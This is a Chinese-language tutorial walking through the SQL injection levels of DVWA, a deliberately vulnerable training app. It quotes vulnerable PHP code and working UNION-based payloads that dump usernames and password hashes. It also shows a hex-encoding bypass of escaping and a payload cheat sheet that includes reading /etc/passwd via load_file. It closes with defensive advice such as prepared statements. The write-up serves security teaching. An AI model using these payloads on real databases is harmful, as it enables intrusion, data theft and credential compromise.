DVWA SQL Injection SQL注入通关教程

漏洞简介

SQL 注入,老牌漏洞之王了。简单说就是把恶意 SQL 语句塞到用户输入里,让数据库帮你执行。能读数据、改数据、删数据,运气好还能拿 shell。

这关主要学怎么通过 SQL 注入把数据库里的敏感信息拖出来。

注入类型

类型 说明
联合注入 用 UNION 合并查询结果
报错注入 从报错信息里拿数据
盲注 没回显,靠条件判断
时间盲注 靠响应时间判断

Low 级别

看代码:

1
2
$id = $_REQUEST[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

用户输入直接拼进 SQL 语句,经典的注入点。

攻击过程

第一步:测注入点

输入个单引号 1',看反应:

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

报错了,确认有注入点。

第二步:数字段

order by 测试:

1
2
3
1' order by 1#   正常
1' order by 2# 正常
1' order by 3# 报错

说明查了 2 个字段。

第三步:找回显位置

1
-1' union select 1,2#

upload successful

两个位置都能回显。

第四步:查数据库

1
-1' union select 1,database()#

upload successful

数据库名是 dvwa

第五步:查表

1
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

upload successful

有两个表:guestbookusers

第六步:查字段

1
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

upload successful

字段挺多,关键是 userpassword

第七步:拖库

1
-1' union select user,password from users#

upload successful

拿到用户名和密码了,密码是 MD5 加密的。

第八步:破密码

找个 MD5 解密网站:

1
5f4dcc3b5aa765d61d8327deb882cf99 -> password

upload successful

搞定。

Medium 级别

Medium 用了 mysql_real_escape_string() 转义:

1
2
3
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

单引号双引号都被转义了,但注意看 SQL 语句,$id 没有用引号包起来,是数字型注入。

攻击方法

因为是 POST 提交,得用 Burp 抓包改。

判断字段:

1
id=-1 order by 2#

联合注入:

1
id=-1 union select 1,database()#

绕过单引号过滤:

查字段名的时候要用 table_name='users',但单引号被转义了。用十六进制绕过:

1
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

0x7573657273 就是 users 的十六进制。

High 级别

High 级别从 session 取参数,还在另一个页面显示结果:

1
2
$id = $_SESSION[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

加了个 LIMIT 1,以为能限制结果数量?注释掉不就行了。

攻击方法

直接注入,用 # 注释掉后面的 LIMIT 1

1
-1' union select user,password from users#

照样拖库。

Impossible 级别

Impossible 级别用了 PDO 预处理:

1
2
3
4
5
6
7
8
9
$id = $_GET[ 'id' ];
$id = stripslashes( $id );
$id = mysql_real_escape_string( $id );

if( is_numeric( $id ) ) {
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
}

SQL 和参数分离,预处理之后参数不会被当成 SQL 执行,这才是正确的姿势。

常用 Payload 速查

Payload 用途
' 测注入点
1' or '1'='1 永真
1' order by n# 数字段
-1' union select 1,database()# 查库名
-1' union select 1,version()# 查版本
-1' union select 1,user()# 查用户
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# 查表
-1' union select 1,load_file('/etc/passwd')# 读文件

小结

SQL 注入防护要点:

  1. 用预处理语句,别拼接 SQL
  2. 输入要验证,数字就验证是不是数字
  3. 错误信息别暴露太详细
  4. 数据库用户权限给最小够用的
  5. 密码加密存储